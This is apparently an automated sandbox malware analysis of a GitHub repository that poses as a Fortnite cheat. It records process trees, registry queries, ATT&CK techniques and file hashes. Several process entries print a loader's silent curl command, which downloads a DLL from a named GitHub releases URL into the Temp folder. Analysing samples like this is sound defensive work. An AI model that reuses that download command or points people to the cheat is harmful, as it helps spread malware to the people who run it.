hxxps://github[.]com/GrendgysFiles/Heroic-Fortnite-External-Cheat

Analysis

user interaction
yes
max time kernel
60s
max time network
57s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
12/07/2026, 04:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
https://github.com/GrendgysFiles/Heroic-Fortnite-External-Cheat
Sample260712-e2jp9acy5q

Score

7^/10

discovery pyinstaller

Malware Config

Signatures

Executes dropped EXE 8 IoCs

pid	Process
2872	heroic_loader.exe
648	heroic_loader.exe
1548	heroic_loader.exe
520	heroic_loader.exe
1700	heroic_loader.exe
3324	heroic_loader.exe
4716	heroic_loader.exe
4168	heroic_loader.exe

Loads dropped DLL 20 IoCs

pid	Process
648	heroic_loader.exe
648	heroic_loader.exe
648	heroic_loader.exe
648	heroic_loader.exe
648	heroic_loader.exe
520	heroic_loader.exe
520	heroic_loader.exe
520	heroic_loader.exe
520	heroic_loader.exe
520	heroic_loader.exe
3324	heroic_loader.exe
3324	heroic_loader.exe
3324	heroic_loader.exe
3324	heroic_loader.exe
3324	heroic_loader.exe
4168	heroic_loader.exe
4168	heroic_loader.exe
4168	heroic_loader.exe
4168	heroic_loader.exe
4168	heroic_loader.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Detects Pyinstaller 1 IoCs

pyinstaller

resource	yara_rule
behavioral1/files/0x000900000002444d-406.dat	pyinstaller

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1724	msedge.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134283039758658469"	msedge.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-540052884-2969440504-464782435-1000\{663C2B0C-C918-4A25-B7B8-664785D9E2B7}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
2268	7zFM.exe
2268	7zFM.exe
2268	7zFM.exe
2268	7zFM.exe
2268	7zFM.exe
2268	7zFM.exe
2268	7zFM.exe
2268	7zFM.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2268	7zFM.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeRestorePrivilege	2268	7zFM.exe
Token: 35	2268	7zFM.exe
Token: SeSecurityPrivilege	2268	7zFM.exe
Token: SeSecurityPrivilege	2268	7zFM.exe
Token: SeSecurityPrivilege	2268	7zFM.exe
Token: SeSecurityPrivilege	2268	7zFM.exe

Suspicious use of FindShellTrayWindow 50 IoCs

pid	Process
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2268	7zFM.exe
2268	7zFM.exe
2268	7zFM.exe
2268	7zFM.exe
2268	7zFM.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe

Suspicious use of WriteProcessMemory 45 IoCs

description	pid	Process	procid_target
PID 2776 wrote to memory of 3392	2776	msedge.exe	83
PID 2776 wrote to memory of 1724	2776	msedge.exe	84
PID 2776 wrote to memory of 3592	2776	msedge.exe	85
PID 2776 wrote to memory of 3592	2776	msedge.exe	85
PID 2776 wrote to memory of 3592	2776	msedge.exe	85
PID 2776 wrote to memory of 1964	2776	msedge.exe	86
PID 2776 wrote to memory of 1964	2776	msedge.exe	86
PID 2776 wrote to memory of 3552	2776	msedge.exe	87
PID 2776 wrote to memory of 3552	2776	msedge.exe	87
PID 2776 wrote to memory of 3552	2776	msedge.exe	87
PID 2776 wrote to memory of 776	2776	msedge.exe	88
PID 2776 wrote to memory of 776	2776	msedge.exe	88
PID 2776 wrote to memory of 776	2776	msedge.exe	88
PID 2776 wrote to memory of 2360	2776	msedge.exe	90
PID 2776 wrote to memory of 1808	2776	msedge.exe	91
PID 2776 wrote to memory of 2360	2776	msedge.exe	90
PID 2776 wrote to memory of 2360	2776	msedge.exe	90
PID 2776 wrote to memory of 1808	2776	msedge.exe	91
PID 2776 wrote to memory of 1808	2776	msedge.exe	91
PID 2776 wrote to memory of 2572	2776	msedge.exe	96
PID 2776 wrote to memory of 2332	2776	msedge.exe	97
PID 2776 wrote to memory of 2572	2776	msedge.exe	96
PID 2776 wrote to memory of 2332	2776	msedge.exe	97
PID 2776 wrote to memory of 4928	2776	msedge.exe	99
PID 2776 wrote to memory of 4572	2776	msedge.exe	104
PID 2776 wrote to memory of 4572	2776	msedge.exe	104
PID 2776 wrote to memory of 4672	2776	msedge.exe	105
PID 2776 wrote to memory of 4672	2776	msedge.exe	105
PID 2776 wrote to memory of 4672	2776	msedge.exe	105
PID 2776 wrote to memory of 2788	2776	msedge.exe	107
PID 2268 wrote to memory of 2872	2268	7zFM.exe	113
PID 2872 wrote to memory of 648	2872	heroic_loader.exe	116
PID 648 wrote to memory of 4992	648	heroic_loader.exe	117
PID 2776 wrote to memory of 3404	2776	msedge.exe	120
PID 2776 wrote to memory of 1036	2776	msedge.exe	121
PID 2776 wrote to memory of 3136	2776	msedge.exe	122
PID 2268 wrote to memory of 1548	2268	7zFM.exe	124
PID 1548 wrote to memory of 520	1548	heroic_loader.exe	126
PID 520 wrote to memory of 976	520	heroic_loader.exe	127
PID 2268 wrote to memory of 1700	2268	7zFM.exe	129
PID 1700 wrote to memory of 3324	1700	heroic_loader.exe	131
PID 3324 wrote to memory of 2992	3324	heroic_loader.exe	132
PID 2268 wrote to memory of 4716	2268	7zFM.exe	134
PID 4716 wrote to memory of 4168	4716	heroic_loader.exe	136
PID 4168 wrote to memory of 4228	4168	heroic_loader.exe	137

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --disable-default-apps --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://github.com/GrendgysFiles/Heroic-Fortnite-External-Cheat
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2776
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x238,0x23c,0x240,0x234,0x264,0x7ffe8275c188,0x7ffe8275c194,0x7ffe8275c1a0
  2⤵
  PID:3392
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1952,i,4681341979340703718,6483384727127308943,524288 --field-trial-handle=2320,i,13381228994288239736,7373043718499413821,262144 --variations-seed-version --mojo-platform-channel-handle=2356 /prefetch:3
  2⤵
  - System Time Discovery
  PID:1724
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1652,i,4731387301730094444,7033562904019253299,262144 --field-trial-handle=2320,i,13381228994288239736,7373043718499413821,262144 --variations-seed-version --mojo-platform-channel-handle=2312 /prefetch:2
  2⤵
  PID:3592
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2476,i,395753514787957338,4583785757810359448,524288 --field-trial-handle=2320,i,13381228994288239736,7373043718499413821,262144 --variations-seed-version --mojo-platform-channel-handle=2700 /prefetch:8
  2⤵
  PID:1964
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3488,i,6225705488578941640,1621748825826402147,2097152 --field-trial-handle=2320,i,13381228994288239736,7373043718499413821,262144 --variations-seed-version --mojo-platform-channel-handle=3528 /prefetch:1
  2⤵
  PID:3552
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3512,i,8410583999941614239,16448727346976770828,2097152 --field-trial-handle=2320,i,13381228994288239736,7373043718499413821,262144 --variations-seed-version --mojo-platform-channel-handle=3556 /prefetch:1
  2⤵
  PID:776
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4236,i,12971583130325002256,17825480770074009342,2097152 --field-trial-handle=2320,i,13381228994288239736,7373043718499413821,262144 --variations-seed-version --mojo-platform-channel-handle=4244 /prefetch:1
  2⤵
  PID:2360
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4260,i,1801246069475268115,11628722175879105994,2097152 --field-trial-handle=2320,i,13381228994288239736,7373043718499413821,262144 --variations-seed-version --mojo-platform-channel-handle=4296 /prefetch:2
  2⤵
  PID:1808
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5068,i,14696447891920051335,10521035128976662169,524288 --field-trial-handle=2320,i,13381228994288239736,7373043718499413821,262144 --variations-seed-version --mojo-platform-channel-handle=5200 /prefetch:8
  2⤵
  PID:2572
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5136,i,10859915212343750327,2207451505973100440,524288 --field-trial-handle=2320,i,13381228994288239736,7373043718499413821,262144 --variations-seed-version --mojo-platform-channel-handle=5160 /prefetch:8
  2⤵
  PID:2332
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5936,i,8973275882322924016,17552554855635057565,524288 --field-trial-handle=2320,i,13381228994288239736,7373043718499413821,262144 --variations-seed-version --mojo-platform-channel-handle=5968 /prefetch:8
  2⤵
  PID:2684
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5936,i,8973275882322924016,17552554855635057565,524288 --field-trial-handle=2320,i,13381228994288239736,7373043718499413821,262144 --variations-seed-version --mojo-platform-channel-handle=5968 /prefetch:8
  2⤵
  PID:4928
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6332,i,1860944462178837304,835563019379152422,524288 --field-trial-handle=2320,i,13381228994288239736,7373043718499413821,262144 --variations-seed-version --mojo-platform-channel-handle=6404 /prefetch:8
  2⤵
  PID:4572
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=6324,i,4251933741525231705,8570185222200251443,2097152 --field-trial-handle=2320,i,13381228994288239736,7373043718499413821,262144 --variations-seed-version --mojo-platform-channel-handle=6428 /prefetch:1
  2⤵
  PID:4672
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6300,i,14717823688294149799,16121186760106726743,524288 --field-trial-handle=2320,i,13381228994288239736,7373043718499413821,262144 --variations-seed-version --mojo-platform-channel-handle=6940 /prefetch:8
  2⤵
  PID:2788
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4312,i,8118356204201352768,948186053021572545,524288 --field-trial-handle=2320,i,13381228994288239736,7373043718499413821,262144 --variations-seed-version --mojo-platform-channel-handle=5104 /prefetch:8
  2⤵
  PID:3404
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4488,i,4959885009899597345,16239837706468975964,524288 --field-trial-handle=2320,i,13381228994288239736,7373043718499413821,262144 --variations-seed-version --mojo-platform-channel-handle=5112 /prefetch:8
  2⤵
  PID:1036
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4564,i,568549448335100032,13511773173870280787,524288 --field-trial-handle=2320,i,13381228994288239736,7373043718499413821,262144 --variations-seed-version --mojo-platform-channel-handle=120 /prefetch:8
  2⤵
  PID:3136

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4620

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:2424

C:\Program Files\7-Zip\7zFM.exe
"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\Downloads\Heroic.External.Fortnite.Cheat.rar"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:2268
- C:\Users\Admin\AppData\Local\Temp\7zOCD829268\heroic_loader.exe
  "C:\Users\Admin\AppData\Local\Temp\7zOCD829268\heroic_loader.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2872
- - C:\Users\Admin\AppData\Local\Temp\7zOCD829268\heroic_loader.exe
    "C:\Users\Admin\AppData\Local\Temp\7zOCD829268\heroic_loader.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:648
  - - C:\Windows\SYSTEM32\curl.exe
      curl -L -s -o C:\Users\Admin\AppData\Local\Temp\tempdir.dll https://github.com/Saideens-Libraries/updater/releases/download/v.1.0.0/tempdir.dll
      4⤵
      PID:4992
- C:\Users\Admin\AppData\Local\Temp\7zOCD8911A8\heroic_loader.exe
  "C:\Users\Admin\AppData\Local\Temp\7zOCD8911A8\heroic_loader.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1548
- - C:\Users\Admin\AppData\Local\Temp\7zOCD8911A8\heroic_loader.exe
    "C:\Users\Admin\AppData\Local\Temp\7zOCD8911A8\heroic_loader.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:520
  - - C:\Windows\SYSTEM32\curl.exe
      curl -L -s -o C:\Users\Admin\AppData\Local\Temp\tempdir.dll https://github.com/Saideens-Libraries/updater/releases/download/v.1.0.0/tempdir.dll
      4⤵
      PID:976
- C:\Users\Admin\AppData\Local\Temp\7zOCD8FE388\heroic_loader.exe
  "C:\Users\Admin\AppData\Local\Temp\7zOCD8FE388\heroic_loader.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1700
- - C:\Users\Admin\AppData\Local\Temp\7zOCD8FE388\heroic_loader.exe
    "C:\Users\Admin\AppData\Local\Temp\7zOCD8FE388\heroic_loader.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:3324
  - - C:\Windows\SYSTEM32\curl.exe
      curl -L -s -o C:\Users\Admin\AppData\Local\Temp\tempdir.dll https://github.com/Saideens-Libraries/updater/releases/download/v.1.0.0/tempdir.dll
      4⤵
      PID:2992
- C:\Users\Admin\AppData\Local\Temp\7zOCD8A35F8\heroic_loader.exe
  "C:\Users\Admin\AppData\Local\Temp\7zOCD8A35F8\heroic_loader.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4716
- - C:\Users\Admin\AppData\Local\Temp\7zOCD8A35F8\heroic_loader.exe
    "C:\Users\Admin\AppData\Local\Temp\7zOCD8A35F8\heroic_loader.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:4168
  - - C:\Windows\SYSTEM32\curl.exe
      curl -L -s -o C:\Users\Admin\AppData\Local\Temp\tempdir.dll https://github.com/Saideens-Libraries/updater/releases/download/v.1.0.0/tempdir.dll
      4⤵
      PID:4228

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 cc11c2ba3ec4cb292b61dd36af338e083bb0ce5868e654b17f3c58ecf3c8fdfb
MD5 22bfe5ff5070c92c37e54f6f278efd25
SHA1 2fc94025f3a738879f1fcececb95937cbaa0cdd1
SHA512 b57abd220e674cf733b39ea299fc66d6fe964ab448ae0758482efe80597e3678909cd989b9635acc0317001af0fe6dbbbccfd3cf110ec5ad1b9e4c084de22188
TLSH
T16FD09220B719A2C3E24704BA94A6AB52A916C57AA0B7F7017232640CAE65089F28F192
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 5KB
SHA256 8fe703b8cf158b3854c5f47afd88463fb33c384a1c40850d4a25dab1a953955a
MD5 6b4da3c10e3eb69d628eca55d90bc81c
SHA1 fdd09eecc1e59a6669db3dc59cd2bdc3e1ce5684
SHA512 f0e6a6856c59871286dd59576d3853d2e9e8f9a6034a706d7f31a69846aefb937b2b10ab994cdfce4beb1e6c412b81fddd8f5050c0debe6c3a80d3fe4392e46e
SSDEEP 48:XiFRdQULjcoJnf22eNE5B8ra80BzzptYCCNE17Q/FgYgCYJPdCCvaMWUBme7lK+C:XiGULIodCE5KO8lZ+2IC2dFJBz7y
TLSH
T1CCC1A2B0060A9FE8E70A40B742D21394F5724CDAF8436E33522AADBB3924F4751C8BD7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 111B
SHA256 5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026
MD5 285252a2f6327d41eab203dc2f402c67
SHA1 acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6
SHA512 11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d
TLSH
T136B01269E4517CFF074A83A41928F453C3FF0047421C8ABEEA3873AD42A21BD0C28C47
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 13KB
SHA256 be24a9f80cf1f81c2669e7ec4379a155073a9a87ad8c799afc93febe1a5c7622
MD5 57d03a9441ebc1d020a527f9bb93eb94
SHA1 fd9538e6b94d0e08efcc7084bdcfb2c27e18547d
SHA512 48faa924d1f0a0ede6f2ec5a99494722330504f3c7b3fa8588f52ab8c1d09b613ef852a9742990d781dee61733fcbee4fd9ee9453d677da22f68e8dfdbb4d725
SSDEEP 192:sxZERVyM/jK1Ml8M9H/fnsdgiIdp9slHW6+WNYY3/YIkjdhIgrJ:sxZEL1H/fnsdgLKHb3/S9
TLSH
T13152E8126B345977CCCBD209F945BFA3D6F50472A2905E44AAFCCA0C04E6BED221781F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

